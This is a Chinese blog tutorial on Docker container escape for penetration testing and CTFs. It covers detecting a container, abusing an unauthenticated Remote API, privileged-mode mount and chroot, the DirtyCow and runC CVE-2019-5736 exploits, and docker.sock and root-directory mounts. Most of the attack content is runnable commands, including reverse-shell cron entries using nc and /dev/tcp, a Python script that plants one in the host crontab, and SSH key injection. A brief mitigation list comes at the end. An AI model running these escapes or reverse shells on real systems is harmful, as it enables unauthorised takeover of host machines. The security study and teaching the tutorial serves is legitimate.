抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

本文主要讲了docker逃逸的原因,判断方法以及利用手法

有时候无论是实战中还是在CTF中,在我们打进机器之后,发现在docker里面,这时候我们当然想逃逸到真实宿主机,所以就要用到docker逃逸

引起docker逃逸漏洞的原因

那在开始实验之前,我们先想一下是什么使我们可以进行docker逃逸呢,原因主要有以下几个

  1. 内核漏洞: 如果宿主机内核存在漏洞,攻击者可能通过在容器内部执行恶意代码来利用这些漏洞,最终获取宿主机的控制权。
  2. 配置错误: 错误的Docker配置可能导致容器以特权模式运行,这使得攻击者更容易在容器内部执行恶意操作并逃逸到宿主机。
  3. 不安全的容器镜像: 使用不安全的或未经验证的容器镜像可能包含已知的漏洞,攻击者可以利用这些漏洞来逃逸。
  4. 不安全的容器之间通信: 如果容器之间的通信不受适当的隔离,攻击者可能通过网络攻击或其他手段在容器之间移动,并最终逃逸到宿主机。
  5. 过多的权限: 如果Docker容器被授予不必要的权限,攻击者可以利用这些权限执行恶意操作并逃逸。
    这里可能不太理解,后面在进行实验的时候再详细的说

判断是否在docker环境

方法一:判断根目录下有无 .dockerenv 文件

1
ls -al

方法二:查询系统进程的 cgroup 信息是否存在 docker 字符串

1
2
ls -alh /.dockerenv
cat /proc/1/cgroup

方法三:检查是否存在 container环境变量
通过env \ PATH 来检查是否有 docker 相关的环境变量,来辅助判断

1
2
3
env
env $PATH
set

方法四:其他检测方法
检测 mountfdisk -l 查看硬盘 、判断PID 1的进程名等也可用来辅助判断

1
2
3
mount | grep "docker"
fdisk -l
ps -aux

docker逃逸的方法

危险的配置导致Docker 逃逸

Docker Remote API 未授权访问

docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。
影响版本:Docker version 19.03.12 之前版本

确定漏洞是否存在:
访问http://x.x.x.x:2375/version 查看是否有版本信息

1
2
3
4
#列出容器信息,效果与docker ps一致。 
curl http://<target>:2375/containers/json
#启动容器
docker -H tcp://<target>:2375 ps -a

利用场景:通过对宿主机端口扫描,发现有2375端口开放,可以执行任意docker命令。我们可以据此,在宿主机上运行一个容器,然后将宿主机的根目录挂载至docker的/mnt目录下,便可以在容器中任意读写宿主机的文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
我们先随便拉取一个镜像然后创建容器

1
2
3
4
docker -H tcp://ip pull busybox

#这里我们将该宿主机的根目录挂在到容器的/mnt目录下
docker -H tcp://ip:2375 run -it -v /:/mnt 容器id sh

执行之后会返回一个该容器宿主机的shell,进入/mnt目录(cd /mnt/)下即可逃逸到宿主机

还可以并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
首先我们随意启动一个容器,然后将宿主机的/etc目录挂载到容器的/tmp/etc目录中

1
docker -H tcp://宿主ip:2375 run -it -v /test:/tmp/etc 容器id /bin/bash 

然后开启监听(这里的监听端口取决于脚本,下面的脚本中写的是8888端口,那我们就监听这个端口),
并且在容器中利用下面的脚本进行反弹

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

然后还可以在容器中写计划任务,反弹宿主机的shell,记得监听1234端口

1
echo '* * * * * /bin/bash -i >& /dev/tcp/宿主机ip/1234 0>&1' >> /test/var/spool/cron/crontabs/root

Docker 高危启动参数 – privileged 特权模式启动容器

特权模式是很有效并且常用的一种逃逸方法
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmorSELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限

如何判断当前容器是否为特权模式,输入下面的命令,如果返回为000000xfffffffff代表为特权模式起,x为任意数字

1
cat /proc/self/status |grep Cap

利用步骤:
使用特权模式启动一个容器,容器部分要根据实际进行修改

1
sudo docker run -itd --privileged ubuntu:latest /bin/bash

然后进入容器,用fdisk -l查看磁盘文件,查看到宿主机的磁盘为/dev/vda1,如果有很多个的话,那就一般是最大的那个

进行挂载,将宿主机的磁盘根目录挂载到docker容器的/home/test目录下

1
mount /dev/vda1 /home/test

然后切换目录到 /home/test 就可成功逃逸到宿主机目录

1
chroot /home/test

由于内核漏洞引起的逃逸

DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现 Docker 容器逃逸,获得root权限的shell。
Docker 与 宿主机共享内核,如果宿主机有脏牛漏洞,那容器就可以利用这个漏洞进行 docker 逃逸。因此容器需要在存在 dirtyCow 漏洞的宿主机里。
利用脚本获取:https://github.com/gebl/dirtycow-docker-vdso.git
下载脚本

1
2
3
4
5
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso/
sudo apt-get update
sudo apt-get install nasm
make

下载完成之后进行利用

1
2
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

因为这个要求宿主机含有脏牛漏洞才可以,所以我们要清楚他的影响范围

影响的 Linux 内核版本主要是2.6.22(发布于2007年)到 4.8(发布于2016年)之间的版本。

可以用下面的命令查看内核版本

1
uname -r

常见的受影响的版本有

1
2
3
4
5
6
7
8
- RHEL7 Linux x86_64
- RHEL4(4.4.7-16)
- Debian 7(“wheel”)
- Ubuntu 14.04.1 LTS
- Ubuntu 14.04.5 LTS
- Ubuntu 16.04.1 LTS
- Ubuntu 16.10
- Linux Mint 17.2

docker程序漏洞导致的docker逃逸

runC容器逃逸漏洞 CVE-2019-5736

CVE-2019-5736 是一个与Docker容器运行时(containerd和runc)相关的漏洞。漏洞允许攻击者在容器内部执行任意命令,并且具有与容器相同的权限。该漏洞于2019年2月发布,影响runc的所有版本,而runc是Docker容器运行时的一部分。

漏洞的核心问题是containerd在处理容器启动过程中对runc的调用时存在安全漏洞,攻击者可以通过构造恶意的容器镜像来实现在容器内部执行任意命令的攻击。这允许攻击者在容器内部获取宿主系统上与容器相同的权限

影响的主要版本有:

1
2
3
- Docker CE 18.09以前的版本
- Docker EE 18.09以前的版本
- RunC version <=1.0-rc6

我们用下面的命令查看一下我们的docker版本和runc版本

1
2
docker --version
runc --version

生成payload的利用链接为:https://github.com/Frichetten/CVE-2019-5736-PoC

1
2
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

下载成功之后,编辑里面的go文件(main.go),把监听地址和端口设置成自己的

然后编译生成payload(生成main文件),这里需要go环境

1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

然后把生成的文件上传到 docker 中(使用docker cp命令)
然后在我们本地开启监听,之后docker容器执行我们的payload即可

1
./main

Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss_.so库。黑客可以通过在容器中替换libnss_.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:Docker 19.03.0

这个漏洞的复现和利用可以参考 [这篇文章] (https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8/docker/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/docker-software/plumbing/docker-cp/CVE-2019-14271/%E5%88%86%E6%9E%90/CVE-2019-14271%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html)

危险挂载导致Docker逃逸

Docker逃逸中的”危险挂载”通常指的是容器内的文件系统挂载到主机上,而且这个挂载操作没有受到足够的限制,导致了一些安全漏洞。这可能允许攻击者通过容器内部的文件系统进行一系列的恶意活动,包括读取或修改主机上的敏感文件。

挂载目录(-v /:/soft)

将宿主机root目录挂载到容器

1
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

写入ssh密钥进行登录

1
mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

挂载Docker Socket(docker.sock)

使用者将宿主机/var/run/docker.sock文件挂载到容器中
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
unix:///var/run/docker.socktcp://host:portfd://socketfd 这三种通信方式中:
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。

判断方法:
实战中通过find命令,可查找类似docker.sock等高危目录和文件

1
find / -name docker.sock

如果存在的话,相当于在docker里可以执行宿主机docker命令,这样的话,我们新启一个容器,挂载宿主机根目录,即可逃逸

逃逸步骤:

  1. 首先创建一个容器并挂载/var/run/docker.sock
    1
    docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  2. 在该容器内安装Docker命令行客户端
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    apt-update  
    apt-get install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg-agent \
    software-properties-common
    curl -fsSL [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg) | apt-key add -
    apt-key fingerprint 0EBFCD88
    add-apt-repository \
    "deb [arch=amd64] [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/) \
    $(lsb_release -cs) \
    stable"
    apt-get update
    apt-get install docker-ce docker-ce-cli containerd.io
  3. 接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部
    1
    2
    3
    docker run -it -v /:/host ubuntu:latest /bin/bash
    #这里的 latest 要根据实际版本修改
    如:docker run -it -v /:/host ubuntu:18.04 /bin/bash
  4. 在新容器内执行chroot将根目录切换到挂载的宿主机根目录。chroot /host

防止docker逃逸的方法

  1. 定期更新 Docker 和相关组件: 保持 Docker 引擎、Docker Compose 等工具的最新版本,以获取最新的安全修复和改进。
  2. 限制容器权限: 在运行容器时,使用最小化的权限和特权模式。避免在容器内使用 root 权限,通过非 root 用户运行应用程序。
  3. 尽量不要将宿主机目录挂载至容器目录

参考文章:

渗透测试之docker逃逸
Linux内网渗透(一)——容器逃逸
docker逃逸的几种方法及其原理

评论